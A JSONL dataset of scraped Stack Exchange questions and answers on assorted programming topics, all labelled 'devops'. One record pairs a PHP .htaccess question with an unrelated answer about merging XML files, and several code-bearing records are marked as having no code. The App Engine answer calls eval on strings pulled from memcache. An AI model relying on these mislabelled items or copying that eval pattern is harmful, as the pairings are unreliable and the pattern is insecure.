{"id": "hf_4065d228171a", "question": "<p>As I understand it, <code>.bat</code> is the old 16-bit naming convention, and <code>.cmd</code> is for 32-bit Windows, i.e., starting with NT. But I continue to see .bat files everywhere, and they seem to work exactly the same using either suffix. Assuming that my code will never need to run on anything older than NT, does it really matter which way I name my batch files, or is there some <strong>gotcha</strong> awaiting me by using the wrong suffix?</p>\n", "question_body": "", "answer": "No - it doesn't matter in the slightest.  On NT the .bat and .cmd extension both cause the cmd.exe processor to process the file in exactly the same way.\nAdditional interesting information about command.com vs. cmd.exe on WinNT-class systems from MS TechNet (\nhttp://technet.microsoft.com/en-us/library/cc723564.aspx\n):\nThis behavior reveals a quite subtle\n  feature of Windows NT that is very\n  important. The 16-bit MS-DOS shell\n  (COMMAND.COM) that ships with Windows\n  NT is specially designed for Windows\n  NT. When a command is entered for\n  execution by this shell, it does not\n  actually execute it. Instead, it\n  packages the command text and sends it\n  to a 32-bit CMD.EXE command shell for\n  execution. Because all commands are\n  actually executed by CMD.EXE (the\n  Windows NT command shell), the 16-bit\n  shell inherits all the features and\n  facilities of the full Windows NT\n  shell.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:52.248098"}
{"id": "hf_c4c95fc54411", "question": "<p>I have a function that passes an array to another function as an argument, there will be multiple data types in this array but I want to know how to pass a function or a reference to a function so the other function can call it at any time.</p>\n\n<p>ex.</p>\n\n<p>function A:</p>\n\n<pre><code>add(new Array(\"hello\", some function));\n</code></pre>\n\n<p>function B:</p>\n\n<pre><code>public function b(args:Array) {\n    var myString = args[0];\n    var myFunc = args[1];\n}\n</code></pre>\n", "question_body": "", "answer": "This is very easy in ActionScript:\n```\n```\nfunction someFunction(foo, bar) {\n   ...\n}\n\nfunction a() {\n    b([\"hello\", someFunction]);\n}\n\nfunction b(args:Array) {\n    var myFunc:Function = args[1];\n    myFunc(123, \"helloworld\");\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:52.284574"}
{"id": "hf_434adc21b218", "question": "<p>I need to create an XML schema that validates a tree structure of an XML document. I don't know exactly the occurrences or depth level of the tree.</p>\n\n<p>XML example:</p>\n\n<pre><code>&lt;?xml version=\"1.0\" encoding=\"utf-8\"?&gt;\n&lt;node&gt;\n  &lt;attribute/&gt;\n  &lt;node&gt;\n    &lt;attribute/&gt;\n    &lt;node/&gt;      \n  &lt;/node&gt;\n&lt;/node&gt; \n</code></pre>\n\n<p>Which is the best way to validate it?  Recursion?</p>\n", "question_body": "", "answer": "XSD does indeed allow for recursion of elements. Here\nis a sample for you\n```\n```\n<xsd:element name=\"section\">\n  <xsd:complexType>\n    <xsd:sequence>\n      <xsd:element ref=\"title\"/>\n      <xsd:element ref=\"para\" maxOccurs=\"unbounded\"/>\n      <xsd:element ref=\"section\" minOccurs=\"0\" maxOccurs=\"unbounded\"/>\n    </xsd:sequence>\n  </xsd:complexType>\n</xsd:element>\n```\n```\nAs you can see the section element contains a child element that is of type section.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:52.309550"}
{"id": "hf_2ed524bbe4cf", "question": "<p>I have an object that I'm testing that raises an event.  What is the best way of using Rhino Mocks to check that it was raised?  </p>\n\n<p>Best I could come up with (I am certain it gets better than this):</p>\n\n<pre><code>public void MyCallback(object sender, EventArgs e) { _flag = true;}\n\n[Test]\npublic void DoSomethingRaisesEvent() {\n  _flag = false;\n  using(_mocks.Record()) {\n    Expect.Call(delegeate { _obj.DoSomething();});\n  }\n  using(_mocks.Playback()) {\n    _obj = new SomethingDoer();\n    _obj.SomethingWasDoneEvent += new EventHandler(MyHandler);\n    Assert.IsTrue(_flag);\n  }\n}\n</code></pre>\n", "question_body": "", "answer": "I'm not sure how your test actually calls the DoSomething() Method. Maybe you're missing something to fire the event. Other than that, I think you have are on the right track for testing events with Rhino Mocks\nIn any case, here is another way I like to deal with events:\n```\n```\n[Test]\npublic void MyEventTest()\n{\n\n    IEventRaiser eventRaiser;\n\n    mockView = _mocks.CreateMock<IView>();\n    using (_mocks.Record())\n    {\n      mockView.DoSomethingEvent += null;\n      eventRaiser = LastCall.IgnoreArguments();\n    }\n    using (_mocks.Playback())\n    {\n       new Controller(mockView, mockModel);\n       eventRaiser.Raise(mockView, EventArgs.Empty);\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:52.349601"}
{"id": "hf_f9462cee46bc", "question": "<p>What does the POP3 CAPA UIDL command do?</p>\n", "question_body": "", "answer": "Gives the unique identifier for a message on the POP3 server.\nPossible responses: +OK or -ERR", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:52.386019"}
{"id": "hf_7508a1a7d621", "question": "<p>My questions is simple!</p>\n\n<ol>\n<li>Would you start learning Smalltalk if you had the time? Why? Why not?</li>\n<li>Do you already know Smalltalk? Why would you recommend Smalltalk? Why not?</li>\n</ol>\n\n<p>Personally I'm a Ruby on Rails programmer and I really like it. However, I'm thinking about Smalltalk because I read various blogs and some people are calling Ruby something like \"Smalltalk Light\". The second reason why I'm interested in Smalltalk is <a href=\"http://seaside.st\" rel=\"noreferrer\">Seaside</a>.</p>\n\n<p>Maybe someone has made the same transition before?</p>\n\n<p><strong>EDIT:</strong> Actually, what got me most excited about Smalltalk/Seaside is the following Episode of WebDevRadio: <a href=\"http://www.webdevradio.com/index.php?id=77\" rel=\"noreferrer\">Episode 52: Randal Schwartz on Seaside (among other things)</a></p>\n", "question_body": "", "answer": "I was taught Smalltalk in one of the first graduate college level Object-Orient Programming courses (circa 1988).  The teacher thought it best to start was a \"pure\" OO langauge,before moving on to a more trendy one (we did a bit of C++ at the end of the semester).\nBy that measure, it's still best to start with pure OO, although these days we have Java & C#, both of which are \"nearly-pure\" OO -- close enough that you can get by ignoring the non-OO features of them, and limiting yourself to the Pure-OO subset of the langauges.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:52.459690"}
{"id": "hf_8320cdacd60f", "question": "<p>I would like to format a price in JavaScript. I'd like a function which takes a <code>float</code> as an argument and returns a <code>string</code> formatted like this:</p>\n<pre><code>&quot;$ 2,500.00&quot;\n</code></pre>\n<p>How can I do this?</p>\n", "question_body": "", "answer": "The main part is inserting the thousand-separators, and that could be done like this:\n```\n```\n<script type=\"text/javascript\">\n  function ins1000Sep(val) {\n    val = val.split(\".\");\n    val[0] = val[0].split(\"\").reverse().join(\"\");\n    val[0] = val[0].replace(/(\\d{3})/g, \"$1,\");\n    val[0] = val[0].split(\"\").reverse().join(\"\");\n    val[0] = val[0].indexOf(\",\") == 0 ? val[0].substring(1) : val[0];\n    return val.join(\".\");\n  }\n\n  function rem1000Sep(val) {\n    return val.replace(/,/g, \"\");\n  }\n\n  function formatNum(val) {\n    val = Math.round(val*100)/100;\n    val = (\"\" + val).indexOf(\".\") > -1 ? val + \"00\" : val + \".00\";\n    var dec = val.indexOf(\".\");\n    return dec == val.length-3 || dec == 0 ? val : val.substring(0, dec+3);\n  }\n</script>\n\n<button onclick=\"alert(ins1000Sep(formatNum(12313231)));\">\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:52.496467"}
{"id": "hf_f8faa2da24f6", "question": "<p>I want to see the stack trace in any function of my code, so i made somthing like this to call it and print the stack trace:</p>\n\n<pre><code>public function PrintStackTrace() {\n    try {\n        throw new Error('StackTrace');\n    } catch (e:Error) {\n        trace(e.getStackTrace());\n    }\n}\n</code></pre>\n\n<p>I like to know if there are other way to do this. In some place, the Error class creates the stack trace, but maybe it didn't do it with ActionScript 3.0 so maybe it's not posible, but i want to know.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "As far as I know, the only way to make the stack trace available to your own code is via the\ngetStackTrace()\nmethod in the Error class, just like you're already doing. In response to the example in your question, though, I would mention that you don't actually have to throw the Error -- you can just create it and call the method on it:\n```\n```\nvar tempError:Error = new Error();\nvar stackTrace:String = tempError.getStackTrace();\n```\n```\nAlso, like the documentation says, this only works in the debug version of Flash Player, so you can wrap this functionality in an if-block that checks the value of\nCapabilities.isDebugger\nif you want.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:52.545970"}
{"id": "hf_cbce6d1ce957", "question": "<p>We have been designing our reports around Crystal Reports in VS2008 for our web application and I just discovered the Microsoft provided ReportViewer control.  I've searched around a bit but cannot find a good breakdown of the pros and cons of each method of producing reports.</p>\n\n<p>I'm looking for pros and cons regarding:</p>\n\n<ul>\n<li>Ease of development</li>\n<li>Ease of deployment</li>\n<li>Ability to export data</li>\n<li>Ease of support and finding help on the web</li>\n</ul>\n", "question_body": "", "answer": "Well, I can answer for one side. I have used\nReportViewer\naka Client Side Reporting. I can tell you its easy to use, easy to deploy and easy to develop. If you can create SQL Reporting Services reports, you can create these. They can take any kind of datasource so you have full control.\nHere is an excellent book on Client Side reporting\n.\nThere are built in PDF and Excel exports available but you can add your own export handling also. You can use in winforms, Asp.Net in your own services. You can do really anything you can imagine with them.\nFor Crystal Reports, I do not know much about them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:52.607655"}
{"id": "hf_d98c7778860d", "question": "<p>I'm getting warnings about CSS3.0 properties like text-overflow.  Is there a way to validate against 3.0?</p>\n<hr />\n<p>HTML5 and CSS3 support is coming to VS2010 in SP1.</p>\n<p><a href=\"https://web.archive.org/web/20120621010521/http://blogs.msdn.com:80/b/webdevtools/archive/2011/01/27/html5-amp-css3-in-visual-studio-2010-sp1.aspx\" rel=\"nofollow noreferrer\">Link</a></p>\n<hr />\n<p>And now its here.</p>\n<p><a href=\"http://visualstudiogallery.msdn.microsoft.com/7211bcac-091b-4a32-be2d-e797be0db210/view/Reviews/0?showReviewForm=True\" rel=\"nofollow noreferrer\">http://visualstudiogallery.msdn.microsoft.com/7211bcac-091b-4a32-be2d-e797be0db210/view/Reviews/0?showReviewForm=True</a></p>\n", "question_body": "", "answer": "Apparently, you can define your own Visual Studio Intellisense schema for CSS. I’m not sure if VS will then validate against that, or only use it for code completion.\nMight be worth making a minimal one and seeing if it gets used for validation.\nCustom CSS Intellisense Schema in Visual Studio 2005 and 2008\nI don’t know of an easy way to validate against CSS 3 yet though. CSS 3 is a large, modular spec, and most of it is very much still in flux, despite some decent browser support for some properties.\nhttp://www.w3.org/Style/CSS/current-work", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:52.671309"}
{"id": "hf_d81add946b21", "question": "<p>I'm not sure if this is something I should do in T-SQL or not, and I'm pretty sure using the word 'iterate' was wrong in this context, since you should never iterate anything in sql. It should be a set based operation, correct? Anyway, here's the scenario:</p>\n\n<p>I have a stored proc that returns many uniqueidentifiers (single column results). These ids are the primary keys of records in a another table. I need to set a flag on all the corresponding records in that table.</p>\n\n<p>How do I do this without the use of cursors? Should be an easy one for you sql gurus!</p>\n", "question_body": "", "answer": "This may not be the most efficient, but I would create a temp table to hold the results of the stored proc and then use that in a join against the target table.  For example:\n```\n```\nCREATE TABLE #t (uniqueid int)\nINSERT INTO #t EXEC p_YourStoredProc\n\nUPDATE TargetTable \nSET a.FlagColumn = 1\nFROM TargetTable a JOIN #t b \n    ON a.uniqueid = b.uniqueid\n\nDROP TABLE #t\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:52.695972"}
{"id": "hf_8ace7909d990", "question": "<p>Are there any templates/patterns/guides I can follow for designing a multithreaded server?  I can't find anything terribly useful online through my google searches.</p>\n\n<p>My program will start a thread to listen for connections using TcpListener.\nEvery client connection will be handled by it's own IClientHandler thread.  The server will wrap the clientHandler.HandleClient in a delegate, call BeginInvoke, and then quit caring about it.</p>\n\n<p>I also need to be able to cleanly shutdown the listening thread, which is something I'm not finding a lot of exampes of online.</p>\n\n<p>I'm assuming some mix of lock/AutoResetEvents/threading magic combined with the async BeginAceptTcpClient and EndAcceptTcpClient will get me there, but when it comes to networking code, to me it's all been done. So I have to believe there's just some pattern out there I can follow and not get totally confused by the myriad multithreaded corner cases I can never seem to get perfect.</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "Oddly enough you may find something on a Computer Science Assignment,\nCSC 512 Programming Assignment 4: Multi-Threaded Server With Patterns\n. Altough it's C++ voodoo but the theory is quite understandable for someone who can do C#.\nAcceptor/ Connector\nMonitor Object\nThread Safe Interface\nWrapper Facade\nScoped Locking\nStrategized Locking\nReactor\nHalf Sync/Half-Async\nLeaders/Followers\nAltough you can get the whole list of nice readings on the\nmain page\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:52.745092"}
{"id": "hf_d108c78a8f35", "question": "<p>I'm looking for a way to limit the maximum number of running processes in Windows Server 2003.</p>\n\n<p>Is there a registry key somewhere that controls it?\nIf so, which one is it?</p>\n", "question_body": "", "answer": "if you are talking about processes as in the items listed in task manager, then there is no way to do it natively, and you can do it with a program,\nbut there should be no real valid reason to do so.\nIf you are talking about making your application only ever launch one EXE no matter how many times it is called, then you are looking for singleton-ing. Example for .NET at:\nhttp://www.thescarms.com/dotnet/SingleInstance.aspx\n--EDIT For another language, google for \"singleton\" and your language.\nIf you are asking about something else, please elaborate.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:52.770297"}
{"id": "hf_90f1cba54be4", "question": "<p>I'm doing a webapp and need a backup plan. Here's what I've got so far:</p>\n\n<ul>\n<li>nightly encrypted backup of the SQL database to Amazon S3 and my external drive (incremental if possible, not overly familiar with PostgreSQL yet, but that's another thread) </li>\n<li>nightly backup of my Mercurial repo (which includes Apache configs, deploy scripts, etc) to S3 (w/ local backups via Time Machine)</li>\n</ul>\n\n<p>Should I add anything else, or will this cover it? For a gauge of how critical the data is/would be, it's a project management app along the lines of Basecamp.</p>\n", "question_body": "", "answer": "Weekly full backup of your database as well as nightly incremental ones as well perhaps?\nIt means that if one of your old incremental backups gets corrupted then you have lost less than a week of data.\nAlso, ensure you have a backup test plan to ensure your backups work. There are a lot of horror stories going around about this, from companies that have been doing backups for years, never testing them and then finding out none of them are any good once they need them. (I've also been at a company like this. Thankfully I spotted the backups weren't working before they were required and fixed the problems).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:52.808794"}
{"id": "hf_8ba08368e442", "question": "<p>I use Tortoise SVN usuallly, but I have been looking into Mercurial since it is a distributed revision control system. </p>\n\n<p>What I am looking for, in both systems, is a tool that let me pick only parts of a file and commit them. If I want to do this now, I have to copy to a temp version of the file and keep only the changes I want to commit in the current version, and then copy the temp version to the current version again after committing. It's just such a hassle and the program should be able to do this for me.</p>\n\n<p>I heard Git supports this, please let me know if this is correct.</p>\n", "question_body": "", "answer": "Mercurial can do this with the\nrecord\nextension.\nIt'll prompt you for each file and each diff hunk.  For example:\n```\n```\n% hg record\ndiff --git a/prelim.tex b/prelim.tex\n2 hunks, 4 lines changed\nexamine changes to 'prelim.tex'? [Ynsfdaq?]  \n@@ -12,7 +12,7 @@\n \\setmonofont[Scale=0.88]{Consolas}\n % missing from xunicode.sty\n \\DeclareUTFcomposite[\\UTFencname]{x00ED}{\\'}{\\i}\n-\\else\n+\\else foo\n \\usepackage[pdftex]{graphicx}\n \\fi\n\nrecord this change to 'prelim.tex'? [Ynsfdaq?]  \n@@ -1281,3 +1281,5 @@\n %% Local variables:\n %% mode: latex\n %% End:\n+\n+foo\n\\ No newline at end of file\nrecord this change to 'prelim.tex'? [Ynsfdaq?]  n\nWaiting for Emacs...\n```\n```\nAfter the commit, the remaining diff will be left behind:\n```\n```\n% hg di\ndiff --git a/prelim.tex b/prelim.tex\n--- a/prelim.tex\n+++ b/prelim.tex\n@@ -1281,3 +1281,5 @@\n %% Local variables:\n %% mode: latex\n %% End:\n+\n+foo\n\\ No newline at end of file\n```\n```\nAlternatively, you may find it easier to use MQ (Mercurial Queues) to separate the individual changes in your repository into patches. There is a MQ variant of record (qrecord), too.\nUpdate:\nAlso try the\ncrecord\nextension, which provides a curses interface to hunk/line selection.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:52.837309"}
{"id": "hf_03a8607da305", "question": "<p>I have an application that uses Forms Authentication to authenticate one type of user. There is a section in this application that needs to be authenticated for another type of user using a different table in the database. The problem happens if the second type of user's session times out, she is taken to the login page defined in the Forms Authentication section of the main Web.Config instead of the login page for the second type of user. I am looking for solutions to this problem. One idea is to create an application in IIS for the section and create a Web.Config for the folder and add another Forms Authentication section. In my experiments, it seems this doesn't work. Am I missing something obvious? Any insights? </p>\n", "question_body": "", "answer": "IIRC, the authentication works per folder.  So you should be able to do it if all of the pages that require the 2nd type of authentication live in a specific sub-folder with it's own config.\nNot 100% sure on this, though, so if someone more knowledgeable can contradict me I'll just delete the response.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:52.862331"}
{"id": "hf_363bf52a3059", "question": "<p>I have a XML response from an HTTPService call with the e4x result format.</p>\n\n<pre>\n<code>\n&lt;?xml version=\"1.0\" encoding=\"utf-8\"?>\n&lt;Validation Error=\"Invalid Username/Password Combination\" />\n</code>\n</pre>\n\n<p>I have tried:</p>\n\n<pre>\n<code>\nprivate function callback(event:ResultEvent):void {\n    if(event.result..@Error) {\n        // error attr present\n    }\n    else {\n        // error attr not present\n    }\n}\n</code>\n</pre>\n\n<p>This does not seem to work (it always thinks that the error attribute exits) what is the best way to do this? thanks.</p>\n\n<p><b>EDIT:</b> I have also tried to compare the attribute to null and an empty string without such success...</p>\n", "question_body": "", "answer": "I have figured out a solution, I'm still interested if there is a better way to do this...\nThis will work:\n```\n```\nprivate function callback(event:ResultEvent):void {\n    if(event.result.attribute(\"Error\").length()) {\n        // error attr present\n    }\n    else {\n        // error attr not present\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:52.887077"}
{"id": "hf_4f4277328091", "question": "<p>Does anybody know what hypothetical indexes are used for in sql server 2000?  I have a table with 15+ such indexes, but have no idea what they were created for.  Can they slow down deletes/inserts?</p>\n", "question_body": "", "answer": "Not sure about 2000, but in 2005 hypothetical indexes and database objects in general are objects created by\nDTA (Database Tuning Advisor)\nYou can check if an index is hypothetical by running this query:\n```\n```\nSELECT  *\nFROM    sys.indexes\nWHERE   is_hypothetical = 1\n```\n```\nIf you have given the tuning advisor good information on which to base it's indexing strategy, then I would say to generally trust its results, but if you should of course examine how it has allocated these before you trust it blindly. Every situation will be different.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:52.923958"}
{"id": "hf_120dca1c0b63", "question": "<p>I have 7-8 xml files. Each one is approximately 50 MB in size. What is the best way to merge files programmatically in C# without getting System.OutOfMemory Exception?  So far I have tried reading each file in a StringBuilder and than putting it in an array of string builder but I still get system.outofmemoery exception. Any help??\nThank you,\n-Nimesh</p>\n", "question_body": "", "answer": "The thing about stringbuilder is you're still trying to keep the entire contents in memory.  You want to only keep a small portion in memory at a time, and that means using filestreams.  Don't read an entire file into memory, open a stream on it and keep reading from the stream.\nThe problem with xml is that you can't just append them to each other:  you'll break the tag nesting.  So you need to know something about the structure of your xml files so that you can have an idea of what to do at each file boundry.\nIf you have something that works in theory with StringBuilder, but only fails in practice because of memory constraints, you should be able to translate the StringBuilder's .Append() and .AppendLine() method calls into .Write() and .WriteLine() calls for a filestream.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:52.960693"}
{"id": "hf_961d49fb6483", "question": "<p>I'm slowly getting back into PHP, and now I run into a problem, I want to install some web software on our host and I need to have either the latest Zend (which they don't have) or IonCube on the server and IonCube requires enable_dl to be on in the php.ini. Now a colleague of mine thinks I can update this via an .htaccess file on the server. So I created a s.htaccess on my machine as Windows doesn't like emptiness before the file extension. So I added the line php_flag enable_dl On to the file uploaded it and renamed the file to just .htaccess on the server. When I refresh the file is gone, when I keep it as s.htaccess it's fine but my php info still shows it as Off.</p>\n\n<p>What n00b mistake am I making?</p>\n", "question_body": "", "answer": "The thing about stringbuilder is you're still trying to keep the entire contents in memory.  You want to only keep a small portion in memory at a time, and that means using filestreams.  Don't read an entire file into memory, open a stream on it and keep reading from the stream.\nThe problem with xml is that you can't just append them to each other:  you'll break the tag nesting.  So you need to know something about the structure of your xml files so that you can have an idea of what to do at each file boundry.\nIf you have something that works in theory with StringBuilder, but only fails in practice because of memory constraints, you should be able to translate the StringBuilder's .Append() and .AppendLine() method calls into .Write() and .WriteLine() calls for a filestream.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:52.984776"}
{"id": "hf_b9a9bf3c8a26", "question": "<p>What delphi function asserts that an object is not nil?</p>\n", "question_body": "", "answer": "Not sure what you mean but\n```\nAssert(Assigned(MyObject));\n```\nis pretty short and easy to use.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:53.010222"}
{"id": "hf_01c85b0defc1", "question": "<p>How can I run background tasks on App Engine?</p>\n", "question_body": "", "answer": "GAE is very useful tool to build scalable web applications. Few of the limitations pointed out by many are no support for background tasks, lack of periodic tasks and strict limit on how much time each HTTP request takes, if a request exceeds that time limit the operation is terminated, which makes running time consuming tasks impossible.\nHow to run background task ?\nIn GAE the code is executed only when there is a HTTP request. There is a strict time limit (i think 10secs) on how long the code can take. So if there are no requests then code is not executed. One of the suggested work around was use an external box to send requests continuously, so kind of creating a background task. But for this we need an external box and now we dependent on one more element. The other alternative was sending 302 redirect response so that client re-sends the request, this also makes us dependent on external element which is client. What if that external box is GAE itself ? Everyone who has used functional language which does not support looping construct in the language is aware of the alternative ie recursion is the replacement to loop. So what if we complete part of the computation and do a HTTP GET on the same url with very short time out say 1 second ? This creates a loop(recursion) on php code running on apache.\n```\n<?php\n$i = 0;\nif(isset($_REQUEST[\"i\"])){\n        $i= $_REQUEST[\"i\"];\n    sleep(1);\n}\n$ch = curl_init(\"http://localhost\".$_SERVER[\"PHP_SELF\"].\"?i=\".($i+1));\ncurl_setopt($ch, CURLOPT_HEADER, 0);\ncurl_setopt($ch, CURLOPT_TIMEOUT, 1);\ncurl_exec($ch);\nprint \"hello world\\n\";\n?>\n```\nSome how this does not work on GAE. So what if we do HTTP GET on some other url say url2 which does HTTP GET on the first url ? This seem to work in GAE. Code for this looks like this.\n```\nclass FirstUrl(webapp.RequestHandler):\n    def get(self):\n        self.response.out.write(\"ok\")\n        time.sleep(2)\n        urlfetch.fetch(\"http://\"+self.request.headers[\"HOST\"]+'/url2')\n\nclass SecondUrl(webapp.RequestHandler):\n    def get(self):\n        self.response.out.write(\"ok\")\n        time.sleep(2)\n        urlfetch.fetch(\"http://\"+self.request.headers[\"HOST\"]+'/url1')\n\napplication = webapp.WSGIApplication([('/url1', FirstUrl), ('/url2', SecondUrl)])\ndef main():\n    run_wsgi_app(application)\nif __name__ == \"__main__\":\n    main()\n```\nSince we found out a way to run background task, lets build abstractions for periodic task (timer) and a looping construct which spans across many HTTP requests (foreach).\nTimer\nNow building timer is straight forward. Basic idea is to have list of timers and the interval at which each should be called. Once we reach that interval call the callback function. We will use memcache to maintain the timer list. To find out when to call callback, we will store a key in memcache with interval as expiration time. We periodically (say 5secs) check if that key is present, if not present then call the callback and again set that key with interval.\n```\ndef timer(func, interval):\n    timerlist = memcache.get('timer')\n    if(None == timerlist):\n        timerlist = []\n    timerlist.append({'func':func, 'interval':interval})\n    memcache.set('timer-'+func, '1', interval)\n    memcache.set('timer', timerlist)\n\ndef checktimers():\n    timerlist = memcache.get('timer')\n    if(None == timerlist):\n        return False\n    for current in timerlist:\n        if(None == memcache.get('timer-'+current['func'])):\n            #reset interval\n            memcache.set('timer-'+current['func'], '1', current['interval'])\n            #invoke callback function\n            try:\n                eval(current['func']+'()')\n            except:\n                pass\n            return True\n    return False\n```\nForeach\nThis is needed when we want to do long taking computation say doing some operation on 1000 database rows or fetch 1000 urls etc. Basic idea is to maintain list of callbacks and arguments in memcache and each time invoke callback with the argument.\n```\ndef foreach(func, args):\n    looplist = memcache.get('foreach')\n    if(None == looplist):\n        looplist = []\n    looplist.append({'func':func, 'args':args})\n    memcache.set('foreach', looplist)\n\ndef checkloops():\n    looplist = memcache.get('foreach')\n    if(None == looplist):\n        return False\n    if((len(looplist) > 0) and (len(looplist[0]['args']) > 0)):\n        arg = looplist[0]['args'].pop(0)\n        func = looplist[0]['func']\n        if(len(looplist[0]['args']) == 0):\n            looplist.pop(0)\n        if((len(looplist) > 0) and (len(looplist[0]['args']) > 0)):\n            memcache.set('foreach', looplist)\n        else:\n            memcache.delete('foreach')\n        try:\n            eval(func+'('+repr(arg)+')')\n        except:\n            pass\n        return True\n    else:\n        return False\n\n# instead of\n# foreach index in range(0, 1000):\n#   someoperaton(index)\n# we will say\n# foreach('someoperaton', range(0, 1000))\n```\nNow building a program which fetches list of urls every one hour is straight forward. Here is the code.\n```\ndef getone(url):\n    try:\n        result = urlfetch.fetch(url)\n        if(result.status_code == 200):\n            memcache.set(url, '1', 60*60)\n            #process result.content\n    except :\n        pass\n\ndef getallurl():\n    #list of urls to be fetched\n    urllist = ['http://www.google.com/', 'http://www.cnn.com/', 'http://www.yahoo.com', 'http://news.google.com']\n    fetchlist = []\n    for url in urllist:\n        if (memcache.get(url) is None):\n            fetchlist.append(url)\n    #this is equivalent to\n    #for url in fetchlist: getone(url)\n    if(len(fetchlist) > 0):\n        foreach('getone', fetchlist)\n\n#register the timer callback\ntimer('getallurl', 3*60)\n```\ncomplete code is here\nhttp://groups.google.com/group/httpmr-discuss/t/1648611a54c01aa\nI have been running this code on appengine for few days without much problem.\nWarning: We make heavy use of urlfetch. The limit on no of urlfetch per day is 160000. So be careful not to reach that limit.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:53.070833"}
